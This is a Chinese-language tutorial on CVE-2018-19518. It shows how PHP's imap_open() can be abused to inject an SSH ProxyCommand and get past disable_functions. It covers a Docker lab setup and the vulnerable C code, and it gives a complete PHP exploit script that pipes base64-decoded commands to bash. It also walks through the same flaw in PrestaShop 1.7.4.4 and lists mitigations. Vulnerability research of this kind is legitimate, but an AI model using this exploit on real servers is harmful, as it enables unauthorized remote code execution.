如何在PHP安装中绕过disable_functions
字数 1075 2025-08-26 22:11:15

PHP disable_functions 绕过技术:利用 IMAP 漏洞实现 RCE

漏洞概述

CVE-2018-19518 是一个存在于 PHP IMAP 扩展中的漏洞,允许攻击者绕过 disable_functions 限制,实现远程代码执行。该漏洞源于 UW IMAP 工具包(2007 版本)在处理 IMAP 连接时的缺陷。

环境准备

测试环境搭建

# 创建带有调试权限的 Docker 容器
docker run --rm -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=phpimap --hostname=phpimap -p80:80 debian /bin/bash

# 安装必要软件
apt update && apt install -y nano php php-imap ssh strace

PHP 安全配置

# 创建禁用危险函数的配置文件
echo '; priority=99' > /etc/php/7.0/mods-available/disablefns.ini
echo 'disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source' >> /etc/php/7.0/mods-available/disablefns.ini
phpenmod disablefns

技术原理

IMAP 协议背景

IMAP (Internet Message Access Protocol) 是用于从邮件服务器检索电子邮件的标准协议。PHP 通过 imap_open() 函数提供 IMAP 支持,该函数底层使用 UW IMAP 工具包。

漏洞根源

漏洞存在于 tcp_aopen() 函数(位于 tcp_unix.c)中,当处理 IMAP 连接时会尝试使用 rsh/ssh 进行认证:

  1. 代码会检查是否定义了 SSHPATHRSHPATH
  2. 如果没有定义 SSHPATH,则使用 RSHPATH(通常指向 /usr/bin/rsh
  3. 在 Debian/Ubuntu 系统中,/usr/bin/rsh 通常是 ssh 的符号链接
  4. 攻击者可以通过构造特殊的服务器地址参数来注入 SSH 命令选项

关键代码分析

/* tcp_unix.c */
if (*service == 's') { /* want ssh? */
    if (!(sshpath && (ti = sshtimeout))) return NIL;
    if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
} 
else if (rshpath && (ti = rshtimeout)) { /* want rsh? */
    if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
}

漏洞利用

基本利用方法

  1. 利用 SSH 的 -oProxyCommand 选项执行任意命令
  2. 使用 $IFS 或制表符(\t)绕过空格限制
  3. 使用 base64 编码绕过斜杠限制

利用步骤

  1. 构造 payload 并 base64 编码:

    $payload = "echo hello | tee /tmp/executed";
    $encoded_payload = base64_encode($payload);
    
  2. 构造恶意服务器地址:

    $server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash}";
    
  3. 调用 imap_open()

    @imap_open('{'.$server.':143/imap}INBOX', '', '');
    

完整利用脚本

<?php
$payload = $argv[1];
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash}";
print("payload: {$server}".PHP_EOL);
@imap_open('{'.$server.':143/imap}INBOX', '', '');
?>

实际案例:PrestaShop RCE

PrestaShop 1.7.4.4 中存在此漏洞:

  1. 漏洞位于 AdminCustomerThreadsController.phpsyncImap() 方法
  2. 攻击者可以通过管理面板中的 IMAP 配置注入恶意服务器地址
  3. 当系统执行邮件同步时触发代码执行

漏洞代码位置

// prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php
$mbox = @imap_open('{'.$url.':'.$port.$conf_str.'}', $user, $password);

防御措施

  1. 更新 PHP 到最新版本(已修复此漏洞)
  2. 禁用 IMAP 扩展(如果不需要)
  3. 使用 open_basedir 限制文件系统访问
  4. 在容器环境中使用最小权限原则

总结

该漏洞展示了即使配置了 disable_functions,由于底层库的实现缺陷,仍然可能存在代码执行风险。安全人员应关注所有外部库的调用路径,而不仅仅是 PHP 本身的函数限制。

PHP disable_ functions 绕过技术:利用 IMAP 漏洞实现 RCE 漏洞概述 CVE-2018-19518 是一个存在于 PHP IMAP 扩展中的漏洞,允许攻击者绕过 disable_functions 限制,实现远程代码执行。该漏洞源于 UW IMAP 工具包(2007 版本)在处理 IMAP 连接时的缺陷。 环境准备 测试环境搭建 PHP 安全配置 技术原理 IMAP 协议背景 IMAP (Internet Message Access Protocol) 是用于从邮件服务器检索电子邮件的标准协议。PHP 通过 imap_open() 函数提供 IMAP 支持,该函数底层使用 UW IMAP 工具包。 漏洞根源 漏洞存在于 tcp_aopen() 函数(位于 tcp_unix.c )中,当处理 IMAP 连接时会尝试使用 rsh/ssh 进行认证: 代码会检查是否定义了 SSHPATH 和 RSHPATH 如果没有定义 SSHPATH ,则使用 RSHPATH (通常指向 /usr/bin/rsh ) 在 Debian/Ubuntu 系统中, /usr/bin/rsh 通常是 ssh 的符号链接 攻击者可以通过构造特殊的服务器地址参数来注入 SSH 命令选项 关键代码分析 漏洞利用 基本利用方法 利用 SSH 的 -oProxyCommand 选项执行任意命令 使用 $IFS 或制表符( \t )绕过空格限制 使用 base64 编码绕过斜杠限制 利用步骤 构造 payload 并 base64 编码: 构造恶意服务器地址: 调用 imap_open() : 完整利用脚本 实际案例:PrestaShop RCE PrestaShop 1.7.4.4 中存在此漏洞: 漏洞位于 AdminCustomerThreadsController.php 的 syncImap() 方法 攻击者可以通过管理面板中的 IMAP 配置注入恶意服务器地址 当系统执行邮件同步时触发代码执行 漏洞代码位置 防御措施 更新 PHP 到最新版本(已修复此漏洞) 禁用 IMAP 扩展(如果不需要) 使用 open_basedir 限制文件系统访问 在容器环境中使用最小权限原则 总结 该漏洞展示了即使配置了 disable_functions ,由于底层库的实现缺陷,仍然可能存在代码执行风险。安全人员应关注所有外部库的调用路径,而不仅仅是 PHP 本身的函数限制。